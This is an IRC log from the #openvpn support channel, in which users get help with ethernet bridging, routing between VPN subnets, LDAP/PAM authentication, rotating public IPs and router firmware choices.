05:25 < sam1> Using another vpn service I see there is a "<info> Internal Gateway: " on the client side.
05:25 < sam1> wierd.
05:46 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has joined #openvpn
05:46 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has quit [Client Quit]
05:46 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:47 -!- niervol [~krystian@193.106.244.150] has quit [Ping timeout: 245 seconds]
05:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
05:48 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
06:04 -!- ade_b [~Ade@37.250.11.72.bredband.tre.se] has joined #openvpn
06:04 -!- ade_b [~Ade@37.250.11.72.bredband.tre.se] has quit [Changing host]
06:04 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:09 -!- Porkepix [~Porkepix@157.138.190.79] has joined #openvpn
06:11 < sam1> kisom: got it working.
06:11 < sam1> kisom: http://openvpn.net/index.php/open-source/faq/77-server/323-i-want-to-set-up-an-ethernet-bridge-on-the-1921681024-subnet-existing-dhcp.html I tried with that first, but still the gateway wasn't setup on client, even though  the server pushed it
06:11 <@vpnHelper> Title: I want to set up an ethernet bridge on the 192.168.1.0/24 subnet. existing DHCP. (at openvpn.net)
06:12 < sam1> kisom: then I combined it with redirect-gateway def1, since I have seen it set gw on client
06:12 < sam1> kisom: so now it routes all traffic from client to the gw on lan at remote site,
06:14 < sam1> I'm wondering if the howto here is really correct: http://openvpn.net/index.php/open-source/documentation/miscellaneous/76-ethernet-bridging.html
06:14 <@vpnHelper> Title: Ethernet Bridging (at openvpn.net)
06:15 < sam1> if you compare it to the answered question above
06:15 -!- julius_ [~julius@141.41.92.122] has joined #openvpn
06:16 < sam1> according to the ethernet bridge guide, you are suppose to use the vpn machine as gw. but in the FAQ they describe how to use the LAN gw
06:17 -!- hazardous [~dbn@openvpn/user/hazardous] has quit [Ping timeout: 245 seconds]
06:19 -!- hazardous [~dbn@2001:470:8932:6855:4185::fe80] has joined #openvpn
06:26 -!- Devastator- [~devas@177.99.152.211] has joined #openvpn
06:26 -!- Devastator- [~devas@177.99.152.211] has quit [Changing host]
06:26 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
06:27 -!- Devastator [~devas@177.99.152.211] has quit [Read error: Connection reset by peer]
06:28 -!- uberushaximus [~uberushax@shepard.sypherz.com] has quit [Ping timeout: 252 seconds]
06:28 -!- william_ [~x@lotus.redl8.com] has quit [Ping timeout: 252 seconds]
06:29 -!- william_ [~x@lotus.redl8.com] has joined #openvpn
06:29 -!- uberushaximus [~uberushax@shepard.sypherz.com] has joined #openvpn
06:30 -!- Devastator- is now known as Devastator
06:45 -!- Porkepix [~Porkepix@157.138.190.79] has quit [Quit: Computer has gone to sleep.]
06:47 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
06:56 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
06:59 -!- Porkepix [~Porkepix@157.138.189.185] has joined #openvpn
07:02 -!- master_of_master [~master_of@p57B554B3.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
07:04 -!- master_of_master [~master_of@p57B55202.dip.t-dialin.net] has joined #openvpn
07:49 -!- dazo_afk is now known as dazo
07:49 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 248 seconds]
07:50 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
07:52 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
07:55 -!- oyunokata [~rrinehart@209.163.177.130] has joined #openvpn
07:56 <@dazo> Anyone remember if there are any issues running both a Cisco VPN and OpenVPN simultaneously?  Both running as a client
07:57 < havoc> the obvious ones
07:57 < havoc> redir-gw, conflicting subnets, etc...
07:57 <@dazo> yeah, except of that, I meant
07:57 < havoc> otherwise they coexist
07:57 <@dazo> okay good! :)
07:58 < havoc> we do it at work; ovpn & cisco
07:58 <@dazo> on Windows or *nix-ish?
07:58 < havoc> lot of the devs have several vpn clients on their machines
07:58 < havoc> windows
07:58 <@dazo> cool!  That's enough confidence for me to claim it should work :)
07:59 < havoc> but it all depends on configs, of course
07:59 < havoc> but I can say, positively, that it *can* work
07:59 -!- catsup [~d@64.111.123.163] has joined #openvpn
07:59 <@dazo> yeah, that's normal ... just wanted to be ensure that a support engineer requiring cisco for his work can connect to a openvpn network I control
07:59 < havoc> ah
08:00 < havoc> other potential issues are [non-]admin related, UAC, etc...
08:00 <@dazo> yupp
08:00  * dazo will soon discover how clever that support engineer really is
08:00 <@dazo> :)
08:01 < havoc> we have a mix of RRAS, OpenVPN, Cisco, CheckPoint, SonicWall clients on a lot of the devs' machines
08:02 < havoc> some don't play nice together, but that's because of the configs
08:04 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 244 seconds]
08:05 -!- b1rkh0ff [~b1rkh0ff@178.77.21.150] has quit [Ping timeout: 245 seconds]
08:06 -!- catsup [~d@64.111.123.163] has joined #openvpn
08:11 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 240 seconds]
08:12 -!- catsup [~d@64.111.123.163] has joined #openvpn
08:16 < sam1> um, anyone running openvpn with openvpn-auth-ldap on debian squeeze stable?
08:17 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
08:18 -!- catsup [~d@64.111.123.163] has joined #openvpn
08:19 -!- b1rkh0ff [~b1rkh0ff@178.77.13.80] has joined #openvpn
08:24 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 260 seconds]
08:25 -!- catsup [~d@64.111.123.163] has joined #openvpn
08:31 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 252 seconds]
08:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:32 -!- catsup [~d@64.111.123.163] has joined #openvpn
08:34 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
08:37 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 244 seconds]
08:38 -!- catsup [~d@64.111.123.163] has joined #openvpn
08:39 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
08:39 -!- nickanderson_afk is now known as nickanderson
08:44 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 252 seconds]
08:44 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has joined #openvpn
08:45 -!- catsup [~d@64.111.123.163] has joined #openvpn
08:46 < Jonathan__> !welcome
08:46 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
08:46 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
08:46 -!- bjh4 [~bjh4@12.239.198.1] has joined #openvpn
08:46 < Jonathan__> !redirect
08:46 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
08:46 <@vpnHelper> http://ircpimps.org/redirect.png
08:47 < Jonathan__> !dns
08:47 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
08:48 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has quit [Client Quit]
08:48 -!- Jonathan__ [~Jonathan@173.212.224.54] has joined #openvpn
08:49 < fys> there's always money in the banana stand.
08:50 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 260 seconds]
08:51 -!- catsup [~d@64.111.123.163] has joined #openvpn
08:54 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
08:54 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
09:02 -!- Porkepix [~Porkepix@157.138.189.185] has quit [Quit: Computer has gone to sleep.]
09:04 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
09:05 < Eagleman> I am trying to setup a scope so i will be able to acces my tcp network ( also OpenVPN ) on 10.8.1.0 However i am unable to ping 10.8.1.2 but i am able to ping 10.8.1.1, I am sure that the client on 10.8.1.2 is connected:  http://pastebin.com/E21Y5VxG
09:06 < Eagleman> 10.8.0.0 is my UDP network
09:16 -!- danharibo [~dan@razor-studios.co.uk] has left #openvpn ["WeeChat 0.3.4"]
09:16 < Eagleman> log:  http://pastebin.com/YwMGwZDs
09:16 < Eagleman> Some one here?
09:21 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Quit: Leaving]
09:33 <@ecrist> !configs
09:33 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
09:34 <@ecrist> and that log pastebin is horseshit
09:34 <@ecrist> do a better copy/paste
09:35 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has joined #openvpn
09:37 < Eagleman7> client: http://pastebin.com/GTz6qwPS     serverlog:  http://pastebin.com/0QXT5QKJ   clientlog:  http://pastebin.com/LzQiK3V1
09:38 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 248 seconds]
09:42 < Eagleman7> This should do it all in one and comments removed: http://pastebin.com/wFSQf1H3
09:44 < Eagleman7> !log
09:44 <@vpnHelper> Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
09:46 <@ecrist> what are you trying to do?
09:46 <@ecrist> !gload
09:46 <@ecrist> !goal
09:46 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
09:47 < Eagleman7> I want to reach my other vpn network running on 10.8.1.0 ( TCP ) from my 10.8.0.0 network
09:48 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
09:49 < Eagleman> Lost my connection, last message: [16:39] <Eagleman7> I want to reach my...
09:51 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 256 seconds]
09:52 -!- KaiForce [~chatzilla@adsl-70-228-90-247.dsl.akrnoh.ameritech.net] has joined #openvpn
09:52 -!- Jonathan__ [~Jonathan@173.212.224.54] has quit [Ping timeout: 264 seconds]
09:54 <@ecrist> do you have ip_forwarding enabled in the kernel?
09:54 < Eagleman> yes
09:54 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
09:54 <@ecrist> you have route, but you also need to push that route
09:54 <@ecrist> so, you need push "route 10.8.1.0 255.255.255.0" in your config
09:54 -!- mattock is now known as mattock_afk
09:55 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has joined #openvpn
09:55 < Eagleman> Thats done in the ccd config
09:56 <@ecrist> I don't see a CCD config in your pastebin
09:56 <@ecrist> why would you do it there?
09:57 < Eagleman> nevermind, i just follow what you are saying
09:57 < Eagleman> Ok, thats done, now i got another route on my windows system:  10.8.1.0    255.255.255.0         10.8.0.1         10.8.0.5     30
09:57 < Eagleman> However i am still not able to ping my other client 10.8.1.2
09:58 < Eagleman> traceroute shows me that it is going to 10.8.0.1 but then i am getting: Request timed out.
09:59 <@ecrist> does the other client know how to route to 10.8.0.1?
10:00 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
10:00 < Eagleman> 10.8.0.0        *               255.255.255.0   U     0      0        0 tun3
10:00 < Eagleman> 10.8.1.0        10.8.0.1        255.255.255.0   UG    0      0        0 tun3
10:00 < Eagleman> 10.8.1.0        *               255.255.255.0   U     0      0        0 tun4
10:00 < Eagleman> Thats on 10.8.1.2
10:00 < Eagleman> 10.8.1.2 is also 10.8.0.2
10:01 < Eagleman> eagleman.net is connected to vpn.eagleman.net with 2 connections: UDP: 10.8.0.2 TCP: 10.8.1.2
10:03 < Eagleman> So yes it does know the route to 10.8.0.1 Ping succeeded
10:05 <@ecrist> that's retarded
10:06 < Eagleman> The double client connection on eagleman.net?
10:06 <@ecrist> why are you connected both via TCP and UDP?
10:06 <@ecrist> yes
10:07 < Eagleman> So i am able to reach my server using tcp and udp when connected to either one of these when connected to vpn.eagleman.net
10:07 < Eagleman> That was the idea
10:07 <@ecrist> I don't think it's a good idea to be connected to both
10:07 <@ecrist> you're going to have conflicting routes
10:08 <@ecrist> so, you're using a single client to ping itself from one VPN subnet to the other, right?
10:08 < Eagleman> So lets say i am only connected to udp on eagleman.net
10:08 < Eagleman> How am i able to reach eagleman.net from vpn.eagleman.net when connected with tcp?
10:08 <@ecrist> I don't understand your question
10:08 <@ecrist> !diagram
10:08 <@vpnHelper> "diagram" is You can use a site such as http://gliffy.com to create a network diagram as well as programs such as Visio, Dia, or OmniGraffle
10:10 < Eagleman> I will be back when i have my topology
10:15 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 255 seconds]
10:17 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 240 seconds]
10:19 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
10:23 -!- AsadH is now known as zz_AsadH
10:25 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
10:39 -!- Porkepix [~Porkepix@157.138.191.104] has joined #openvpn
10:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
10:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:51 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:55 -!- mattock_afk is now known as mattock
11:05 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
11:09 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
11:09 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
11:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
11:09 -!- mode/#openvpn [+o krzee] by ChanServ
11:09 -!- zz_AsadH is now known as AsadH
11:24 -!- Porkepix [~Porkepix@157.138.191.104] has quit [Quit: Computer has gone to sleep.]
11:37 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:37 -!- mode/#openvpn [+v s7r] by ChanServ
11:41 < Jonathan__> Good afternoon
11:43 < Jonathan__> I have a question.  I currently have 5 servers running OpenVPN in various places of the world.  All using LDAP authentication and individual certs for client authentication.
11:44 < Jonathan__> Currently, when a user authenticates with my server, they are assigned the default WAN IP for internet traffic routing.  I know you can assign static WAN IPs using ccd, but is there a way to assign WAN IPs on a round robin basis?
11:44 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 245 seconds]
11:44 < Jonathan__> I'd like to be able to use more than one WAN IP per server for my clients without forcing them to a specific static IP each time
11:46 < Jonathan__> forcing a static IP in my opinion takes away some of the anonymity associated with my services
11:56 < Jonathan__> also, has anyone attempted to store client keys in ldap?
11:56 -!- AsadH is now known as zz_AsadH
12:21 -!- idlecool [~i@sd.gs] has quit [Remote host closed the connection]
12:24 -!- idlecool [~i@sd.gs] has joined #openvpn
12:40 < Pei> you guys rock
12:40 < Pei> thanks for all the help
12:44 -!- zz_AsadH is now known as AsadH
12:44 -!- nickanderson is now known as nickanderson_afk
12:46 -!- cmelbye [~charlie@yourwiki/staff/charlie] has quit [Ping timeout: 255 seconds]
12:47 -!- cmelbye [~charlie@yourwiki/staff/charlie] has joined #openvpn
12:49 -!- dgbaley27 [~matt@ucb-np1-210.colorado.edu] has joined #openvpn
12:50 < dgbaley27> Hey. I've been using OpenVPN for a while now for personal use. I'm now using it in a larger environment. I'd like to switch from certificates to LDAP (via PAM).
12:51 < dgbaley27> Does anyone have any comments in particular on doing this? Do I still use the TA key?
12:51 < dgbaley27> I basically just want to be able to add people to the "openvpn" group in LDAP in order to give them access.
12:52 < dgbaley27> Is there any reason I should use the LDAP plugin directly? I like the flexibility that PAM has to offer (can add local accounts too), and the passwords are actually krb5
12:54 < dgbaley27> Also, does the warning under --client-cert-not-required still apply as I'm not using a home-grown script but a pam plugin which I think is provided by openvpn itself
12:58 -!- ade_b [~Ade@host-78-65-176-137.homerun.telia.com] has joined #openvpn
12:58 -!- ade_b [~Ade@host-78-65-176-137.homerun.telia.com] has quit [Changing host]
12:58 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
13:10 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Ping timeout: 245 seconds]
13:15 -!- DBordello [~DBordello@unaffiliated/dbordello] has quit [Ping timeout: 245 seconds]
13:19 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:21 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
13:23 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:25 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Excess Flood]
13:28 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
13:33 -!- gladiatr [~sdspence@24.124.15.166] has joined #openvpn
13:33 -!- gladiatr [~sdspence@24.124.15.166] has quit [Changing host]
13:33 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
13:38 -!- kothog [~kothog@unaffiliated/kothog] has quit [Ping timeout: 246 seconds]
13:44 -!- kothog [~kothog@unaffiliated/kothog] has joined #openvpn
13:46 < Jonathan__> dgbaley:  I am using OpenLDAP for authentication.  Using PHPLDAPAdmin as the admin interface for managing users
13:46 < Jonathan__> I still require individual certs/keys as a second step of authentication
13:53 < dgbaley27> Hmm, wouldn't that really be the first step them? In any event, that seems like a PITA, how do you distribute keys?
14:02 -!- p3rror [~mezgani@2001:0:53aa:64c:3863:5e7c:d670:1b82] has joined #openvpn
14:04 <@dazo> dgbaley27: you will always need server sertificates to make it possible to use a multi-peer mode on the server ... but read carefully the section about --client-cert-not-required in the man page
14:06 <@dazo> Jonathan__: WAN IP addresses!?  ... I know what WAN IPs are ... but I don't understand why you use that with VPN ....
14:06 <@dazo> or do you use --redirect-gateway ... and VPN clients use your WAN IP as their public IP?
14:07 < havoc> gah, what happened to the "create TAP adpater" script?
14:07 < havoc> (on windows)
14:07  * dazo looks for mattock ....
14:07 <@ecrist> there was a problem with the windows build
14:07 < Jonathan__> Dazo:  I offer a small VPN service for individuals to mask their true IPs
14:07 <@ecrist> mattock supposedly fixed it
14:07 < havoc> ecrist: ah
14:07 < havoc> I guess I can roll out 2.2.2 still
14:08 < Jonathan__> dazo: I just dont want all my users using the same public IP, nor do I wish to force static IPs
14:08 < havoc> ecrist: I've been playing w/ silent deployment of ovpn
14:08 <@dazo> Jonathan__: okay ... then you that's a NAT setup you need to figure out ... not really related to OpenVPN ... so, if you use Linux/iptables then you might get some better answers on #netfilter
14:09 <@dazo> havoc: I blame mattock for this one ;-) ... he did talk about rolling out a new 2.3 windows installer though
14:09 -!- corretico [~luis@190.211.93.38] has quit [Read error: Connection reset by peer]
14:09 < dgbaley27> dazo: I know that I still need the server side certificates. But I wouldn't be using auth-user-pass-verify, I'd be using plugin openvpn-auth-pam.so
14:09 < havoc> dazo: ok, no biggie though, 2.2.2 is fine for what I'm looking for
14:09 < Jonathan__> dazo I was lookingat using client connect and disconnect scripts
14:09 < Jonathan__> to setup NAT
14:09 < Jonathan__> just looking for some direction I guess,  I know its not openvpn product related
14:09 -!- corretico [~luis@190.211.93.38] has joined #openvpn
14:10 -!- p3rror [~mezgani@2001:0:53aa:64c:3863:5e7c:d670:1b82] has quit [Ping timeout: 245 seconds]
14:10 <@dazo> Jonathan__: if you want truly randomisation .... then I'd say firewall rules are the proper place ... otherwise, you need to look at the --learn-address script hook ... that's called when the VPN IP address is set or changed
14:10 -!- DBordello [~DBordello@2607:ff50:0:1a::10] has joined #openvpn
14:10 -!- DBordello [~DBordello@2607:ff50:0:1a::10] has quit [Changing host]
14:10 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
14:10 -!- p3rror [~mezgani@2001:0:53aa:64c:3055:5e7c:d606:f58d] has joined #openvpn
14:11 <@dazo> dgbaley27: that's basically the same .... the point is without username/pass auth ... you have a completely anonymous tunnel which anyone can connect to
14:11 <@dazo> dgbaley27: that is if you set --client-certs-not-required on the server
14:12 < dgbaley27> dazo: sure, but what I plan on is certs-not-required and plugin openvpn-auth-pam, so there shouldn't be anonymous access
14:12 <@dazo> that's what I'm saying
14:15 < dgbaley27> dazo: guh, just to be sure: client-certs-not-required and plugin openvpn-auth-pam is a secure setup without anonymous access, correct?
14:17 <@dazo> dgbaley27: yes.  However, openvpn-auth-pam + certs are even safer, but you don't want that ... but both are fine
14:17 < dgbaley27> I don't want to do it just because I don't have a scalable way to generate user keys, and can't rely on them being able to send me proper CSR's
14:18 < dgbaley27> scalable or safe*
14:20 < dgbaley27> I don't think it's relevant to this discussion, but this is more of an access setup. The traffic itself doesn't really need to be secure, I can rely on the end-to-end principle for that.
14:21 <@dazo> well, that makes it possible to lower the security a bit without loosing your sleep ... but the overall security isn't stronger than the weakest link
14:23 < dgbaley27> But where is the weak link? Assuming the CA is trusted, the connection is secure and the endpoint is trusted (from the clients' perspective) before the password is exchanged.
14:24 <@dazo> the connection is only as secure as the authentication is secure
14:24 <@dazo> without client certs, you're more vulnerable to bruteforce attacks
14:24 -!- p3rror [~mezgani@2001:0:53aa:64c:3055:5e7c:d606:f58d] has quit [Ping timeout: 245 seconds]
14:24 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 276 seconds]
14:25 <@dazo> bruteforce on the username/password that is
14:25 <@krzee> and password re-use issues
14:25 <@dazo> oh true
14:25 <@krzee> which is WAY more common than most non-hackers give credit to
14:27 < dgbaley27> Well, password issues and brute-force attacks aren't really my issue in this setup =). Each host on the network is secured via the same kerberos system, which is not under my control.
14:28 <@dazo> ehm .... anyone having a public service available, requiring username/passwords, can experience bruteforce attacks
14:29 <@dazo> ever had a public server responding to ssh on port 22 ... and ever checked the log file ssh uses?
14:30 <@krzee> like within minutes of installing
14:30 <@krzee> the internet is so dirty dirty
14:30 <@krzee> toss up a honeypot sometime, its a nasty nasty place
14:31 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
14:31 -!- mode/#openvpn [+o pekster] by krzee
14:32 <@dazo> dgbaley27: on almost all my openvpn setups I use certs, auth-user-pass and tls-auth ... just to ensure that only the users I control are able to connect ... not that the data itself is that sensitive, but I don't want to open up a door for anyone else ..... but people do also call me paranoid ;-)
14:33  * dazo even wrote his own openvpn auth plug-in, as he found auth-pam or auth-ldap too simple
14:33 <@krzee> without a healthy does of paranoia you'd be doing it wrong!
14:33 <@krzee> anyone who disagrees should throw up a decent honeypot sometime
14:34 <@krzee> heh
14:34 <@dazo> heh :)
14:34 <@krzee> and of course, none of that is targeted
14:35 <@krzee> http://www.comedycentral.com/video-clips/az3sy8/chappelle-s-show-if-the-internet-was-a-real-place
14:35 <@vpnHelper> Title: If the Internet Was a Real Place - Video Clip | Comedy Central (at www.comedycentral.com)
14:35 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has joined #openvpn
14:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection]
14:37 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
14:37 < lickalott> !welcome
14:37 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:37 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:37 < lickalott> !goal
14:37 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:38 < lickalott> Gents, i just dd-wrt'd my router and would like to enable openvpn on it.  is this the chan I should be seeking help in?
14:39 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
14:39 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
14:39 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
14:39 -!- mode/#openvpn [+o krzee] by ChanServ
14:39 <@dazo> lickalott: yeah ... but dd-wrt ... seriously?  that's a security risk itself
14:39 < lickalott> thoughts?
14:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection]
14:40 < lickalott> i wanted to build a pfsense box but don't have the funds for the hardware att.
14:40 <@dazo> lickalott: it exists a database over all ssh/https keys used in all dd-wrt distributions
14:40 <@dazo> lickalott: and the dd-wrt developers didn't see that as a problem
14:41 < lickalott> I have the AS running on my ubuntu server and have access to the network from outside, but i wanted it on my router.
14:41 < lickalott> openwrt doesn't work for my model.  Is there another alternative i should be looking into?
14:41 <@dazo> lickalott: and I discovered a hard-coded iptables rule in one version ... and users was never warned about it ... "just wait for the next release which have no ETA for the fix" was the developers response
14:41 < lickalott> nice
14:41 <@dazo> lickalott: if openwrt don't work ... hmmm .... maybe tomato
14:42 < lickalott> i don't have a wrt54g anymore
14:42 <@dazo> what do you have now?
14:42 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
14:43 < lickalott> E3200
14:44 < lickalott> you think it would be safer to leave the stock FW on the router and just continue to run the AS off of the ubuntu machine?
14:45 < defsdoor> dazo,  you dd-wrt comments concern me - I've just rolled out a buffalo dd-wrt to our manchester office - to replace a checkpoint firewall piece of junk
14:45 <@dazo> in fact, I'd probably place the ubuntu box in front, with proper firewalling + openvpn (community or AS)
14:45 <@dazo> defsdoor: I'll see if I can find the threads again
14:46 < defsdoor> we pay a fortune for our checkpoint gateways and they dont even do QoS
14:46 < defsdoor> so I'm binning them
14:46 < defsdoor> and the many thousands a year support costs
14:47 <@dazo> defsdoor: I know some companies ship TP-Link WR1043ND with openwrt ... I've set up a few myself, and that's cheap and reasonably good hardware
14:47 <@dazo> however ... the later hw versions have some wireless driver issues ... but I haven't tried newer openwrt firmwares in a while
14:48 -!- bjh4 [~bjh4@12.239.198.1] has quit [Remote host closed the connection]
14:50 < neilhwatson> We need a rasberry-router :)
14:50 <@dazo> heh
14:51 < defsdoor> I have 2 pis - running an led string clock off one right now
14:51 <@dazo> neilhwatson: tbh ... the tp-link gets pretty close to that
14:51 <@dazo> (in hackability, that is)
14:55 < neilhwatson> Openvpn question: Connecting a client to a servers, where the server will act as a gw for the client. Does the server need one IP for eth0 and a second IP for tun?
14:55 < defsdoor> well I can install openwrt on these buffalos by the look of it
14:55 < defsdoor> I've just ordered one for home so I will give it a go
14:55 < neilhwatson> buffalo?
14:55 <@dazo> neilhwatson: it needs an IP for the eth where the traffic will go out (if you do NAT) ... but it really don't need an IP on the tun device, if your clients support routing by device
14:56 < neilhwatson> Server will not NAT.
14:58 < neilhwatson> In example config files I"ve seen 'server <ip> <ip>'. I preume that denotes the tunnel end points. Should one of those IP's be the eth0 on the server?
14:58 < defsdoor> nope
14:58 < defsdoor> just pick a private unlikely to clash subnet
14:59 < rob0> I bet you will need a tun0 IP address, for routing. Then you can use proxy ARP for clients, with no NAT.
14:59 < defsdoor> (unlikely to clash with any other private subnet you may use)
15:01 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has quit [Ping timeout: 276 seconds]
15:01 -!- EugeneKay [EugeneKay@madeitwor.se] has quit [Ping timeout: 276 seconds]
15:01 < neilhwatson> No NAT or private IP's involved.  I want client with public IP to have another public IP on the same subnet as the server.
15:02 <@dazo> neilhwatson: I don't know if I remember it correctly ... but I believe Jan Just Keijser wrote about that in his OpenVPN 2 Cookbook
15:02 <@dazo> !book
15:02 <@vpnHelper> "book" is http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2!
15:02 -!- EugeneKay [eugene@madeitwor.se] has joined #openvpn
15:02 <@dazo> that's a really difficult setup though
15:02 <@dazo> with many pitfalls
15:03 <@dazo> or let me think ....
15:03 < defsdoor> if it's all public IPs when not just alias the ip on server A and forward the traffic to server B ?
15:03 <@dazo> maybe you can do SNAT/DNAT .... traffic coming from the VPN gets a specific NATed IP address
15:04 <@dazo> and then you can port-nat incoming traffic to the server's IP subnet to the VPN clients, if you need that direction
15:04 < neilhwatson> The client's public IP is dynamic.  I want to use the tunel to give it a static from the server's network.
15:04 <@dazo> ahh, okay
15:04 < defsdoor> messy routing shenanigans needed though
15:04 <@dazo> that's a bit different ... and I do basically the same in one of my setups
15:05 < neilhwatson> I"d make the tunnel the dgw.
15:05 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has joined #openvpn
15:05 < defsdoor> you cant
